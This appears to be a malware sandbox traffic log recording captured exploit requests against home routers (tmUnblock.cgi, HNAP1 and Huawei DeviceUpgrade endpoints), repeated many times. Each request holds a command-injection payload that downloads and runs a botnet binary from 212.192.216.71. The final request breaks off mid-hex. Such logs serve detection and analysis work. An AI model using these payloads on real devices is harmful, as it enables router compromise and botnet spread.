Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 